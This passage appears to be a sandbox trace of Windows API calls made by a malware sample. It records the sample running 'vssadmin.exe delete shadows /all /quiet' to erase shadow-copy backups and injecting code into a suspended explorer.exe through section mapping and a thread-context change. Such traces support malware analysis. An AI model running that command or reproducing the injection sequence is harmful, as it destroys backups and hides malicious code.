SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.133] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.134] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.134] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.134] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.134] NtOpenProcess (in: ProcessHandle=0x47fae4, DesiredAccess=0x440, ObjectAttributes=0x47fac4*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x47fadc*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x47fae4*=0x0) returned 0xc0000022 [0129.138] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0129.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc) returned 0x8e5bd8 [0129.139] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x8e5bd8 | out: lpBuffer="C:\\") returned 0x4 [0129.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8) returned 0x8e5f68 [0129.139] wcscpy (in: _Dest=0x8e5f68, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\" [0129.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20a) returned 0x909338 [0129.139] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x909338, ucchMax=0x104 | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0129.139] wcscat (in: _Dest=0x909338, _Source="\\" | out: _Dest="\\Device\\HarddiskVolume1\\") returned="\\Device\\HarddiskVolume1\\" [0129.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x42) returned 0x8e3b70 [0129.141] Wow64DisableWow64FsRedirection (in: OldValue=0x47fb04 | out: OldValue=0x47fb04*=0x0) returned 1 [0129.141] GetSystemDirectoryW (in: lpBuffer=0x8f3a00, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0129.141] wcscat (in: _Dest=0x8f3a00, _Source="\\vssadmin.exe" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe") returned="C:\\Windows\\system32\\vssadmin.exe" [0129.141] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x240) returned 0x8f3c18 [0129.142] wcscpy (in: _Dest=0x8f3c18, _Source="C:\\Windows\\system32\\vssadmin.exe" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe") returned="C:\\Windows\\system32\\vssadmin.exe" [0129.142] wcscat (in: _Dest=0x8f3c18, _Source=" delete shadows /all /quiet" | out: _Dest="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet") returned="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet" [0129.142] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x47fa5c*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x47faa0 | out: lpCommandLine="C:\\Windows\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x47faa0*(hProcess=0x16c, hThread=0x154, dwProcessId=0x6f4, dwThreadId=0x6f8)) returned 1 [0129.154] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3c18) returned 1 [0129.154] Wow64RevertWow64FsRedirection (OlValue=0x47fb04) returned 1 [0129.155] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f3a00) returned 1 [0129.155] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20a) returned 0x8f3a00 [0129.155] GetSystemDirectoryW (in: lpBuffer=0x8f3a00, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0129.155] wcscat (in: _Dest=0x8f3a00, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0129.155] wcscat (in: _Dest=0x8f3a00, _Source="explorer.exe" | out: _Dest="C:\\Windows\\system32\\explorer.exe") returned="C:\\Windows\\system32\\explorer.exe" [0129.155] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x28) returned 0x8d87d8 [0129.155] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\explorer.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4000022, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x47f9f8*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x47faa0 | out: lpCommandLine=0x0, lpProcessInformation=0x47faa0*(hProcess=0x178, hThread=0x170, dwProcessId=0x6fc, dwThreadId=0x700)) returned 1 [0129.183] WaitForDebugEvent (in: lpDebugEvent=0x47fa3c, dwMilliseconds=0xffffffff | out: lpDebugEvent=0x47fa3c) returned 1 [0129.239] NtCreateSection (in: SectionHandle=0x47f704, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x47f6e4, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x47f704*=0x188) returned 0x0 [0129.239] NtMapViewOfSection (in: SectionHandle=0x188, ProcessHandle=0xffffffff, BaseAddress=0x47f708*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0x47f6f8*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x4 | out: BaseAddress=0x47f708*=0x480000, SectionOffset=0x0, ViewSize=0x47f6f8*=0x1b000) returned 0x0 [0129.241] NtMapViewOfSection (in: SectionHandle=0x188, ProcessHandle=0x178, BaseAddress=0x47f700*=0x0, ZeroBits=0x0, CommitSize=0x1b000, SectionOffset=0x0, ViewSize=0x47f6f8*=0x1b000, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x47f700*=0xb0000, SectionOffset=0x0, ViewSize=0x47f6f8*=0x1b000) returned 0x0 [0129.242] NtUnmapViewOfSection (ProcessHandle=0xffffffff, BaseAddress=0x480000) returned 0x0 [0129.243] NtClose (Handle=0x188) returned 0x0 [0129.243] NtGetContextThread (in: ThreadHandle=0x170, Context=0x47f72c | out: Context=0x47f72c*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x100efa, Ebp=0x0, Eip=0x778701c4, SegCs=0x23, EFlags=0x202, Esp=0xaf968, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0129.243] NtSetContextThread (ThreadHandle=0x170, Context=0x47f72c*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x100efa, Ebp=0x0, Eip=0xc3400, SegCs=0x23, EFlags=0x202, Esp=0xaf968, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, 